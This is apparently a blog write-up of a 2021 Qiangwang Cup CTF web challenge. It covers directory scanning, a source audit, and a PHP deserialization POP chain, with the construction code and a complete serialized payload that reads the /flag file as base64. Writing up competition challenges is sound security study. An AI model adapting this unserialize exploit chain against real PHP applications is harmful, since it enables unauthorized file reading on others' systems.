2021强网杯-强网先锋-赌徒-WP

深碍√TFBOYSˉ_ 2022-10-07 00:52 186阅读 0赞

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDQ5OTc1Nw_size_16_color_FFFFFF_t_70_pic_center]

1、打开网页显示如下：

![在这里插入图片描述][2021061511005957.png_pic_center]

2、进行目录扫描，发现www.zip文件。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDQ5OTc1Nw_size_16_color_FFFFFF_t_70_pic_center 1]

3、进行源代码审计

4、根据源代码发现应该是反序列化，构造代码生成序列化字符串

$st = new Start();
    $ro = new Room();
    $ro->a = $ro;
    $in = new Info();
    $in->file['filename'] = $ro; // 将该变量指示Room对象后，
    // return $this->file['filename']->ffiillee['ffiilleennaammee'];
    // 以上语句变为 return $ro->ffiillee['ffiilleennaammee']
    // $ro->ffiillee['ffiilleennaammee'] 语句在执行时，触发Room的__get()方法（私有变量或不存在的变量均会触发__get()方法）
    // $ro-a->$ro; 指向了Room对象自己。在__get()方法执行时，对象执行函数调用触发__invoke()后，获取flag文件的Base64编码
    $st->name = $in;
    echo serialize($st);

生成的序列化Payload如下：

O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:17:"%00Info%00phonenumber";i:123123;s:7:"promise";s:15:"I will not !!!!";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";r:6;}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}

5、网页get方法，hello参数设为payload后，获取flag的base64，（需要注意前两个字符“hi“不是flag文件内容）Base64解码后得到flag。  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDQ5OTc1Nw_size_16_color_FFFFFF_t_70_pic_center 2]

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDQ5OTc1Nw_size_16_color_FFFFFF_t_70_pic_center 3]

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDQ5OTc1Nw_size_16_color_FFFFFF_t_70_pic_center]: /images/20221005/0946598ea86a4631a8163976932330a5.png
[2021061511005957.png_pic_center]: /images/20221005/9f2f18d153a948bd8ff3bd765063d3ac.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDQ5OTc1Nw_size_16_color_FFFFFF_t_70_pic_center 1]: /images/20221005/0d5b53c9d90c43888552975db51346a4.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDQ5OTc1Nw_size_16_color_FFFFFF_t_70_pic_center 2]: /images/20221005/de3207bc75c14124ba6fbd568ef702b5.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDQ5OTc1Nw_size_16_color_FFFFFF_t_70_pic_center 3]: /images/20221005/bc3c7242fc1a40c8aa92d17636a35bfb.png